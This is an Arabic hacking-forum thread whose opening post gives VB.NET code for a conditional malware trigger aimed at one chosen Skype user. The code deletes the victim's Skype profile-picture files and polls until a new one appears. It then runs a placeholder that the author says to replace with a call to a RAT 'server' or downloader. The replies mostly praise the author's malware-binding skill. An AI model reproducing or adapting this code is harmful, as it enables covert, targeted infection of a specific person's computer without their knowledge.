1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : ♕| s c я є α м |♕ | المشاهدات : 1,152 | الردود : 32
حالة الموضوع:
مغلق
  1. ♕| s c я є α м |♕ IP: 90.148.234.7 مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    678
    الإعجابات المتلقاة:
    699
    نقاط الجائزة:
    515
    الإقامة:
    7
    نظام التشغيل:
    windows xp
    [​IMG]



    السلام عليكم ورحمة الله وبركاته


    كود لــ استهداف شخص معين من خلال السكايب


    الشرط : عندما الضحيه يقوم بتغير صورة العرض في السكايب يتم تشغيل السيرفر


    نقوم بأنشاء مشروع جديد بلغة الدوت نت
    ثم ندخل على الفورم Form1 ونمسح كل الي بداخله
    ونلصق هاذا الكود

    كود:
    Public Class Form1
        Dim PC As String
        Dim sky As String = "microsoft-encryption" 'اسم حساب الشخص المستهدف microsoft-encryption اذا الحساب سكاي استخدم هاذا المتغير مع العم ان 
        'Dim skylive As String = "live#3a" + "q777"  اسم حساب الشخص المستهدفq777 استخدم هاذا المتغير مع العلم ان  live  اذا الحساب 
        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
            '###################################################
            Call Ret()
            '###################################################
    
    
        End Sub
    #Region "S C R E A M"
        Sub Ret()
            '###################################################
            On Error Resume Next
            PC = System.Environment.UserName
            IO.File.Delete("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\لقطة لي 1.png") ' عربي 
            IO.File.Delete("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\Photo de moi 1.png") ' فرنسي
            IO.File.Delete("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\我的快照 1.png") ' صيني
            IO.File.Delete("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\Picture of me 1.png") ' انجليزي
            IO.File.Delete("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\תמונה שלי 1.png") 'عبري
            IO.File.Delete("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\내 사진 1.png") 'كوري
            Timer1.Enabled = True
            '###################################################
        End Sub
    #End Region
        Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
            '###################################################
            PC = System.Environment.UserName
            If My.Computer.FileSystem.FileExists("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\لقطة لي 1.png") = True Then Text = 1
            If My.Computer.FileSystem.FileExists("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\Photo de moi 1.png") = True Then Text = 1
            If My.Computer.FileSystem.FileExists("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\我的快照 1.png") = True Then Text = 1
            If My.Computer.FileSystem.FileExists("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\Picture of me 1.png") = True Then Text = 1
            If My.Computer.FileSystem.FileExists("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\תמונה שלי 1.png") = True Then Text = 1
            If My.Computer.FileSystem.FileExists("C:\Users\" + PC + "\AppData\Roaming\Skype\" + sky + "\Pictures\내 사진 1.png") = True Then Text = 1
            '###################################################
    
    
            '###################################################
            If Text = "1" Then
                Timer1.Enabled = False
                MessageBox.Show("استدعاء سيرفر")
                Text = 0
                Call Ret()
            End If
            '###################################################
    
    
        End Sub
    End Class
    
    
    
    *=== تحديد كود ===*





    المتغير sky هو خاص بحسابات السكايب فقط ضع اسم حساب السكايب الذي تريد استهدافه
    المتغير
    skylive هو خاص ب استهداف حسابات الهوتميل الذي تفتح من خلال سكايب




    يظهر معنا خطأ لعدم تؤفر اداة التايمر ضيف واحد تايمر وبدل المسج استبدله بـ استدعاء بسيرفرك او داونلودر او الي تريده






    الشرط يعمل بعد تغير الصوره
    [​IMG]
     
    3 شخص معجب بهذا.
  2. Reco_X Developer

    الأنتساب:
    ‏16 مايو 2015
    المشاركات:
    4
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    5
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    مشكور على الطرح الرائع
    يعطيك العافية
    تحياتي
     
  3. JORDAN 8 DeveloPer Plus

    الأنتساب:
    ‏16 يوليو 2013
    المشاركات:
    133
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    50
    نظام التشغيل:
    Linux
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    بارك الله فيك علي مجهودك ~ :{1}:
     
  4. Dr.NaRouTo Developer

    الأنتساب:
    ‏19 يناير 2012
    المشاركات:
    63
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    30
    الإقامة:
    ~المغربــ الكبــير~
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    تســـلم ايــدك يا بـطـل {1!$6}​
     
  5. جوني العراقي V • I • P

    الأنتساب:
    ‏10 يناير 2014
    المشاركات:
    277
    الإعجابات المتلقاة:
    50
    نقاط الجائزة:
    75
    الوظيفة:
    حلاق
    الإقامة:
    NEDRLALND
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    وعليكم سلام ورحمة الله وبركاتة
    شو هاد صديقي مبدع بل تلغيمات
     
  6. جوني العراقي V • I • P

    الأنتساب:
    ‏10 يناير 2014
    المشاركات:
    277
    الإعجابات المتلقاة:
    50
    نقاط الجائزة:
    75
    الوظيفة:
    حلاق
    الإقامة:
    NEDRLALND
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    يجب أن تضع للبعض سمعات قبل إعطائها إلى ♕| s c я є α м |♕ مرة أخرى.
    لاكن يوشم بل خماسي
     
  7. علي الواسطي DeveloPer Plus

    الأنتساب:
    ‏13 يناير 2015
    المشاركات:
    159
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    50
    الوظيفة:
    طالب
    الإقامة:
    iraq
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    تسلم و عاشت ايدك
     
  8. المعاقب الصدري V • I • P

    الأنتساب:
    ‏20 يوليو 2014
    المشاركات:
    924
    الإعجابات المتلقاة:
    681
    نقاط الجائزة:
    215
    الجنس:
    ذكر
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    وحش التلغيم بلا منازع سكريم مبدع
     
  9. !•¢-Άss£R-ΆℓrOoOԊ•¢-! اعرض من مثلث برمودة DeveloPer Plus

    الأنتساب:
    ‏16 يناير 2015
    المشاركات:
    430
    الإعجابات المتلقاة:
    17
    نقاط الجائزة:
    50
    الجنس:
    أنثى
    الإقامة:
    مدينه الصدر
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    C#
    Facebook:
    YouTube:
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب

    وعليكم السلام

    بارك الله فيك شريك


    تلغيمه لامثيل لها


    استمر في ابداعك


    تحياتي لك ي طيب
     
  10. حازم مشكله V • I • P

    الأنتساب:
    ‏26 مارس 2015
    المشاركات:
    381
    الإعجابات المتلقاة:
    15
    نقاط الجائزة:
    50
    الجنس:
    ذكر
    نظام التشغيل:
    windows 7
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: تلغيمة شرطيه تقوم بأستهداف شخص معين من خلال السكايب


    !☠☣عاشت ايدك صديقي ☣☠!

    !☠☣تنسيق ولا اروع وموضوع مميز ومفيد جدا ☣☠!




    !☠☣تفقل مروري ☣☠!
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة